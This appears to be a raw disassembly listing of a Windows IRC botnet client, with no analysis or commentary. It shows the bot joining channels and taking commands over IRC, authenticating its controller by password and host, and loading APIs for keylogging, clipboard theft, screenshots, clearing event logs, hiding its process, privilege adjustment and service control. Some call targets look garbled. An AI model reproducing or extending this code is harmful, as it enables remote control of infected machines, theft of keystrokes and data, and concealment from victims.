		jle	loc_401E94
		push	esi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_401E94
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E56C[eax]
		call	sub_409A2C
		pop	ecx
		pop	ecx
		push	1F4h
		nop
		call	near ptr 2820566h
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E56C[eax]
		call	dword_4CB6BC
		push	[ebp+var_10]
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E574[eax]
		nop
		call	near ptr 2840000h
		push	esi
		call	sub_41B779
		imul	eax, 234h
		push	esi
		mov	dword_43E574[eax], ebx
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		pop	ecx
		mov	byte ptr dword_43E360[eax], bl
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_4095D5:				; CODE XREF: sub_401ACD+3DCBj
					; sub_401ACD+3DE0j
		push	[ebp+arg_10]
		push	offset aAll	; "all"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409641
		call	sub_40B2BF
		cmp	eax, ebx
		jle	short loc_4095FC
		push	eax
		push	offset unk_429D8C
		jmp	loc_408CDB
; ---------------------------------------------------------------------------


loc_4095FC:				; CODE XREF: sub_401ACD+7B22j
		push	offset unk_429D64


loc_409601:				; CODE XREF: sub_401ACD+24F9j
					; sub_401ACD+2518j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_40960F:				; CODE XREF: sub_401ACD+721Dj
		cmp	[ebp+var_8], ebx
		jnz	short loc_409630
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]


loc_409628:				; CODE XREF: sub_401ACD+6DB4j
		call	sub_409A72
		add	esp, 14h


loc_409630:				; CODE XREF: sub_401ACD+26F6j
					; sub_401ACD+2721j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		jmp	loc_40207D
; ---------------------------------------------------------------------------


loc_409641:				; CODE XREF: sub_401ACD+7B19j
		mov	eax, [ebp+var_AC]
		lea	edi, [eax+1]
		cmp	edi, 20h
		jnb	loc_401E94
		lea	eax, [ebp+edi*4+var_90]
		mov	[ebp+arg_24], eax


loc_40965D:				; CODE XREF: sub_401ACD+7C01j
		mov	eax, [ebp+arg_24]
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_401E94
		push	esi
		call	sub_41B779
		push	eax
		call	sub_40B231
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_409684
		push	offset unk_429D40
		jmp	short loc_409689
; ---------------------------------------------------------------------------


loc_409684:				; CODE XREF: sub_401ACD+7BAEj
		push	offset unk_429D14


loc_409689:				; CODE XREF: sub_401ACD+7BB5j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4096B9
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_4096B9:				; CODE XREF: sub_401ACD+7BCEj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		add	[ebp+arg_24], 4
		inc	edi
		cmp	edi, 20h
		pop	ecx
		jb	short loc_40965D
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_4096D5:				; CODE XREF: sub_401ACD+3DA1j
					; sub_401ACD+3DB6j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409854
		push	esi
		push	offset dword_42A480
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	esi
		push	offset dword_429CF8
		jmp	loc_40984D
; ---------------------------------------------------------------------------


loc_409711:				; CODE XREF: sub_401ACD+3D77j
					; sub_401ACD+3D8Cj
		push	[ebp+arg_10]
		push	offset dword_42A3E4
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	[ebp+arg_10]
		push	offset unk_429CD4
		jmp	loc_40984D
; ---------------------------------------------------------------------------


loc_409731:				; CODE XREF: sub_401ACD+3D4Dj
					; sub_401ACD+3D62j
		push	[ebp+esi+var_88]
		push	[ebp+arg_10]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset unk_429CB0
		jmp	loc_40984D
; ---------------------------------------------------------------------------


loc_409758:				; CODE XREF: sub_401ACD+3D23j
					; sub_401ACD+3D38j
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	[ebp+arg_10]
		push	offset unk_429C8C
		jmp	loc_40984D
; ---------------------------------------------------------------------------


loc_409778:				; CODE XREF: sub_401ACD+3163j
					; sub_401ACD+3178j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_429C68
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h


loc_4097B2:				; CODE XREF: sub_401ACD+7D33j
		push	eax
		call	near ptr 2820566h
		nop


loc_4097B9:				; CODE XREF: sub_401ACD+2AA2j
		xor	eax, eax
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_4097C0:				; CODE XREF: sub_401ACD+3139j
					; sub_401ACD+314Ej
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_429C40
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h
		imul	eax, 3E8h
		jmp	short loc_4097B2
; ---------------------------------------------------------------------------


loc_409802:				; CODE XREF: sub_401ACD+EC8j
					; sub_401ACD+EDDj
		push	[ebp+esi+var_8C]
		xor	eax, eax
		cmp	[ebp+var_8F0], bl
		setnz	al
		push	eax
		lea	eax, [ebp+var_338]
		push	dword_42909C
		push	eax
		call	sub_40B08D
		add	esp, 10h
		lea	eax, [ebp+var_338]
		push	eax
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		lea	eax, [ebp+var_338]
		push	eax
		push	offset unk_429C1C


loc_40984D:				; CODE XREF: sub_401ACD+70B4j
					; sub_401ACD+778Aj ...
		call	sub_415220
		pop	ecx


loc_409853:				; CODE XREF: sub_401ACD+6CB9j
		pop	ecx


loc_409854:				; CODE XREF: sub_401ACD+659j
					; sub_401ACD+665j ...
		mov	eax, [ebp+arg_24]
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_40985C:				; CODE XREF: sub_401ACD+AB5j
					; sub_401ACD+AC8j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_10], esi
		jz	loc_401E94
		cmp	[ebp+var_A4], ebx
		jnz	loc_401E94
		push	offset asc_42D0EC ; "!"
		push	[ebp+var_90]
		call	sub_41C0F4
		mov	esi, eax
		push	offset dword_4CB4DC
		push	ebx
		inc	esi
		call	sub_41C0F4
		push	offset asc_429C18 ; "~"
		push	eax
		call	sub_41C0F4
		push	[ebp+arg_10]
		mov	edi, eax
		push	offset aCool	; "cool"
		call	sub_41C070
		add	esp, 20h
		test	eax, eax
		jz	short loc_4098FB
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 14h
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset unk_429B98
		jmp	loc_40240A
; ---------------------------------------------------------------------------


loc_4098FB:				; CODE XREF: sub_401ACD+7DEAj
		mov	[ebp+arg_24], offset off_42915C


loc_409902:				; CODE XREF: sub_401ACD+7E51j
		mov	eax, [ebp+arg_24]
		push	edi
		push	dword ptr [eax]
		call	sub_40B44F
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409962
		add	[ebp+arg_24], 4
		cmp	[ebp+arg_24], offset off_429160
		jb	short loc_409902
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 14h
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset unk_429B44
		jmp	loc_40240A
; ---------------------------------------------------------------------------


loc_409962:				; CODE XREF: sub_401ACD+7E44j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_409967:				; CODE XREF: sub_401ACD+7EC4j
		cmp	[ebp+arg_10], ebx
		jz	loc_401E94
		cmp	[edi], bl
		jnz	short loc_409987
		push	[ebp+arg_10]
		push	offset aCool	; "cool"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409998


loc_409987:				; CODE XREF: sub_401ACD+7EA5j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_409967
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_409998:				; CODE XREF: sub_401ACD+7EB8j
		shl	esi, 7
		add	esi, [ebp+arg_18]
		lea	eax, [ebp+var_E00]
		push	7Fh
		push	eax
		push	esi
		call	sub_41B5F0
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4099CF
		push	ebx
		push	[ebp+var_4]
		push	offset unk_429B24
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_4099CF:				; CODE XREF: sub_401ACD+7EE6j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_429B04
		jmp	loc_402077
; ---------------------------------------------------------------------------


loc_4099E0:				; CODE XREF: sub_401ACD+20Ej
					; sub_401ACD+223j
		push	[ebp+arg_10]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	offset aXI	; "-x+i"
		push	[ebp+arg_10]
		push	offset aModeSS_0 ; "MODE %s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 10h
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 10h
		mov	dword_4CB4D4, edi
		jmp	loc_401D6A
sub_401ACD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409A2C	proc near		; CODE XREF: sub_401955+3Dp
					; sub_401ACD+1CBp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	200h
		push	eax
		call	sub_41C190
		add	esp, 10h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB674
		leave
		retn
sub_409A2C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409A72	proc near		; CODE XREF: sub_401ACD+518p
					; sub_401ACD+137Dp ...

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		jnz	short loc_409A8D
		mov	edi, offset aPrivmsg ; "PRIVMSG"


loc_409A8D:				; CODE XREF: sub_409A72+14j
		push	edi
		call	sub_41AFE0
		push	[ebp+arg_4]
		mov	esi, 1FAh
		sub	esi, eax
		call	sub_41AFE0
		pop	ecx
		sub	esi, eax
		pop	ecx
		lea	eax, [ebp+var_400]
		push	[ebp+arg_8]
		push	offset aS_1	; "%s"
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	edi
		push	offset aSSS_0	; "%s %s :%s\r\n"
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB674
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_409B10
		push	7D0h
		call	near ptr 2820566h
		nop

locret_409B10:				; CODE XREF: sub_409A72+91j
		leave
		retn
sub_409A72	endp


; =============== S U B	R O U T	I N E =======================================



sub_409B12	proc near		; CODE XREF: ___:0040126Cp
		push	ebx
		push	ebp
		mov	ebp, dword_42709C
		push	esi
		push	edi
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ebp
		mov	esi, dword_4270BC
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_409C32
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	dword_4CB6D0, eax
		call	esi
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	dword_4CB644, eax
		call	esi
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	dword_4CB628, eax
		call	esi
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	dword_4CB538, eax
		call	esi
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	dword_4CB4E4, eax
		call	esi
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	dword_4CB514, eax
		call	esi
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	dword_4CB58C, eax
		call	esi
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	dword_4CB684, eax
		call	esi
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	dword_4CB6E0, eax
		call	esi
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	dword_4CB544, eax
		call	esi
		cmp	dword_4CB6D0, ebx
		mov	dword_4CB52C, eax
		jz	short loc_409C10
		cmp	dword_4CB644, ebx
		jz	short loc_409C10
		cmp	dword_4CB628, ebx
		jz	short loc_409C10
		cmp	dword_4CB538, ebx
		jz	short loc_409C10
		cmp	dword_4CB514, ebx
		jz	short loc_409C10
		cmp	dword_4CB58C, ebx
		jz	short loc_409C10
		cmp	dword_4CB684, ebx
		jz	short loc_409C10
		cmp	dword_4CB6E0, ebx
		jz	short loc_409C10
		cmp	dword_4CB544, ebx
		jz	short loc_409C10
		cmp	eax, ebx
		jnz	short loc_409C1A


loc_409C10:				; CODE XREF: sub_409B12+B8j
					; sub_409B12+C0j ...
		mov	dword_4CB6E4, 1


loc_409C1A:				; CODE XREF: sub_409B12+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_4CB65C, eax
		jz	short loc_409C47
		push	1
		push	ebx
		call	eax
		jmp	short loc_409C47
; ---------------------------------------------------------------------------


loc_409C32:				; CODE XREF: sub_409B12+1Dj
		nop
		call	near ptr 2830047h
		mov	dword_4CB6E8, eax
		mov	dword_4CB6E4, 1


loc_409C47:				; CODE XREF: sub_409B12+117j
					; sub_409B12+11Ej
		push	offset aUser32_dll ; "user32.dll"
		nop
		call	near ptr 2850000h
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409D5C
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	dword_4CB680, eax
		call	esi
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	dword_4CB630, eax
		call	esi
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	dword_4CB5C4, eax
		call	esi
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	dword_4CB6D4, eax
		call	esi
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	dword_4CB5F4, eax
		call	esi
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	dword_4CB614, eax
		call	esi
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	dword_4CB678, eax
		call	esi
		cmp	dword_4CB680, ebx
		mov	dword_4CB564, eax
		jz	short loc_409D00
		cmp	dword_4CB630, ebx
		jz	short loc_409D00
		cmp	dword_4CB5C4, ebx
		jz	short loc_409D00
		cmp	dword_4CB6D4, ebx
		jz	short loc_409D00
		cmp	dword_4CB5F4, ebx
		jz	short loc_409D00
		cmp	dword_4CB614, ebx
		jz	short loc_409D00
		cmp	dword_4CB678, ebx
		jz	short loc_409D00
		cmp	eax, ebx
		jnz	short loc_409D0A


loc_409D00:				; CODE XREF: sub_409B12+1B8j
					; sub_409B12+1C0j ...
		mov	dword_4CB6EC, 1


loc_409D0A:				; CODE XREF: sub_409B12+1ECj
		push	offset aGetasynckeysta ; "GetAsyncKeyState"
		push	edi
		call	esi
		push	offset aGetkeystate ; "GetKeyState"
		push	edi
		mov	dword_4CB5F0, eax
		call	esi
		push	offset aGetwindowtexta ; "GetWindowTextA"
		push	edi
		mov	dword_4CB4F8, eax
		call	esi
		push	offset aGetforegroundw ; "GetForegroundWindow"
		push	edi
		mov	dword_4CB5C0, eax
		call	esi
		cmp	dword_4CB5F0, ebx
		mov	dword_4CB5A8, eax
		jz	short loc_409D67
		cmp	dword_4CB4F8, ebx
		jz	short loc_409D67
		cmp	dword_4CB5C0, ebx
		jz	short loc_409D67
		cmp	eax, ebx
		jnz	short loc_409D71
		jmp	short loc_409D67
; ---------------------------------------------------------------------------


loc_409D5C:				; CODE XREF: sub_409B12+144j
		nop
		call	near ptr 2830047h
		mov	dword_4CB6F0, eax


loc_409D67:				; CODE XREF: sub_409B12+232j
					; sub_409B12+23Aj ...
		mov	dword_4CB6EC, 1


loc_409D71:				; CODE XREF: sub_409B12+246j
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409F2A
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	dword_4CB694, eax
		call	esi
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	dword_4CB5D8, eax
		call	esi
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	dword_4CB648, eax
		call	esi
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	dword_4CB524, eax
		call	esi
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	dword_4CB588, eax
		call	esi
		push	offset aOpeneventloga ;	"OpenEventLogA"
		push	edi
		mov	dword_4CB600, eax
		call	esi
		push	offset aCleareventloga ; "ClearEventLogA"
		push	edi
		mov	dword_4CB5A4, eax
		call	esi
		cmp	dword_4CB694, ebx
		mov	dword_4CB5B4, eax
		jz	short loc_409E1A
		cmp	dword_4CB5D8, ebx
		jz	short loc_409E1A
		cmp	dword_4CB648, ebx
		jz	short loc_409E1A
		cmp	dword_4CB524, ebx
		jz	short loc_409E1A
		cmp	dword_4CB588, ebx
		jz	short loc_409E1A
		cmp	dword_4CB600, ebx
		jnz	short loc_409E24


loc_409E1A:				; CODE XREF: sub_409B12+2DEj
					; sub_409B12+2E6j ...
		mov	dword_4CB6F4, 1


loc_409E24:				; CODE XREF: sub_409B12+306j
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	dword_4CB608, eax
		call	esi
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	dword_4CB5E0, eax
		call	esi
		cmp	dword_4CB608, ebx
		mov	dword_4CB690, eax
		jz	short loc_409E5F
		cmp	dword_4CB5E0, ebx
		jz	short loc_409E5F
		cmp	eax, ebx
		jnz	short loc_409E69


loc_409E5F:				; CODE XREF: sub_409B12+33Fj
					; sub_409B12+347j
		mov	dword_4CB6F4, 1


loc_409E69:				; CODE XREF: sub_409B12+34Bj
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	dword_4CB618, eax
		call	esi
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	dword_4CB500, eax
		call	esi
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	dword_4CB508, eax
		call	esi
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	dword_4CB56C, eax
		call	esi
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	dword_4CB570, eax
		call	esi
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	dword_4CB51C, eax
		call	esi
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	dword_4CB5E4, eax
		call	esi
		cmp	dword_4CB618, ebx
		mov	dword_4CB50C, eax
		jz	short loc_409F0D
		cmp	dword_4CB500, ebx
		jz	short loc_409F0D
		cmp	dword_4CB508, ebx
		jz	short loc_409F0D
		cmp	dword_4CB56C, ebx
		jz	short loc_409F0D
		cmp	dword_4CB570, ebx
		jz	short loc_409F0D
		cmp	dword_4CB51C, ebx
		jz	short loc_409F0D
		cmp	dword_4CB5E4, ebx
		jz	short loc_409F0D
		cmp	eax, ebx
		jnz	short loc_409F17


loc_409F0D:				; CODE XREF: sub_409B12+3C5j
					; sub_409B12+3CDj ...
		mov	dword_4CB6F4, 1


loc_409F17:				; CODE XREF: sub_409B12+3F9j
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_4CB504, eax
		jnz	short loc_409F3F
		jmp	short loc_409F35
; ---------------------------------------------------------------------------


loc_409F2A:				; CODE XREF: sub_409B12+26Aj
		nop
		call	near ptr 2830047h
		mov	dword_4CB6F8, eax


loc_409F35:				; CODE XREF: sub_409B12+416j
		mov	dword_4CB6F4, 1


loc_409F3F:				; CODE XREF: sub_409B12+414j
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A00B
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	dword_4CB610, eax
		call	esi
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	dword_4CB668, eax
		call	esi
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	dword_4CB670, eax
		call	esi
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	dword_4CB62C, eax
		call	esi
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	dword_4CB548, eax
		call	esi
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	dword_4CB4F4, eax
		call	esi
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	dword_4CB66C, eax
		call	esi
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	dword_4CB4E0, eax
		call	esi
		cmp	dword_4CB610, ebx
		mov	dword_4CB580, eax
		jz	short loc_40A016
		cmp	dword_4CB668, ebx
		jz	short loc_40A016
		cmp	dword_4CB670, ebx
		jz	short loc_40A016
		cmp	dword_4CB62C, ebx
		jz	short loc_40A016
		cmp	dword_4CB548, ebx
		jz	short loc_40A016
		cmp	dword_4CB4F4, ebx
		jz	short loc_40A016
		cmp	dword_4CB66C, ebx
		jz	short loc_40A016
		cmp	dword_4CB4E0, ebx
		jz	short loc_40A016
		cmp	eax, ebx
		jnz	short loc_40A020
		jmp	short loc_40A016
; ---------------------------------------------------------------------------


loc_40A00B:				; CODE XREF: sub_409B12+438j
		nop
		call	near ptr 2830047h
		mov	dword_4CB700, eax


loc_40A016:				; CODE XREF: sub_409B12+4B9j
					; sub_409B12+4C1j ...
		mov	dword_4CB6FC, 1


loc_40A020:				; CODE XREF: sub_409B12+4F5j
		mov	ebp, dword_4270B8
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A2DC
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	dword_4CB594, eax
		call	esi
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	dword_4CB6C8, eax
		call	esi
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	dword_4CB534, eax
		call	esi
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	dword_4CB510, eax
		call	esi
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	dword_4CB5D0, eax
		call	esi
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	dword_4CB5B8, eax
		call	esi
		push	offset aSocket	; "socket"
		push	edi
		mov	dword_4CB57C, eax
		call	esi
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	dword_4CB6A4, eax
		call	esi
		push	offset aConnect	; "connect"
		push	edi
		mov	dword_4CB6C0, eax
		call	esi
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	dword_4CB5CC, eax
		call	esi
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	dword_4CB6B0, eax
		call	esi
		push	offset aHtons	; "htons"
		push	edi
		mov	dword_4CB664, eax
		call	esi
		push	offset aHtonl	; "htonl"
		push	edi
		mov	dword_4CB624, eax
		call	esi
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	dword_4CB620, eax
		call	esi
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	dword_4CB554, eax
		call	esi
		push	offset aSend	; "send"
		push	edi
		mov	dword_4CB54C, eax
		call	esi
		push	offset aSendto	; "sendto"
		push	edi
		mov	dword_4CB674, eax
		call	esi
		push	offset aRecv	; "recv"
		push	edi
		mov	dword_4CB688, eax
		call	esi
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	dword_4CB63C, eax
		call	esi
		mov	dword_4CB5FC, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi
		push	offset aSelect	; "select"
		push	edi
		mov	dword_4CB650, eax
		call	esi
		push	offset aListen	; "listen"
		push	edi
		mov	dword_4CB60C, eax
		call	esi
		push	offset aAccept	; "accept"
		push	edi
		mov	dword_4CB64C, eax
		call	esi
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	dword_4CB6B8, eax
		call	esi
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	dword_4CB604, eax
		call	esi
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	dword_4CB5C8, eax
		call	esi
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	dword_4CB638, eax
		call	esi
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	dword_4CB6A8, eax
		call	esi
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	dword_4CB5DC, eax
		call	esi
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	dword_4CB578, eax
		call	esi
		cmp	dword_4CB594, ebx
		mov	dword_4CB6BC, eax
		jz	loc_40A2E7
		cmp	dword_4CB6C8, ebx
		jz	loc_40A2E7
		cmp	dword_4CB534, ebx
		jz	loc_40A2E7
		cmp	dword_4CB5D0, ebx
		jz	loc_40A2E7
		cmp	dword_4CB5B8, ebx
		jz	loc_40A2E7
		cmp	dword_4CB57C, ebx
		jz	loc_40A2E7
		cmp	dword_4CB6A4, ebx
		jz	loc_40A2E7
		cmp	dword_4CB6C0, ebx
		jz	loc_40A2E7
		cmp	dword_4CB5CC, ebx
		jz	loc_40A2E7
		cmp	dword_4CB6B0, ebx
		jz	loc_40A2E7
		cmp	dword_4CB664, ebx
		jz	loc_40A2E7
		cmp	dword_4CB624, ebx
		jz	loc_40A2E7
		cmp	dword_4CB620, ebx
		jz	loc_40A2E7
		cmp	dword_4CB554, ebx
		jz	short loc_40A2E7
		cmp	dword_4CB674, ebx
		jz	short loc_40A2E7
		cmp	dword_4CB688, ebx
		jz	short loc_40A2E7
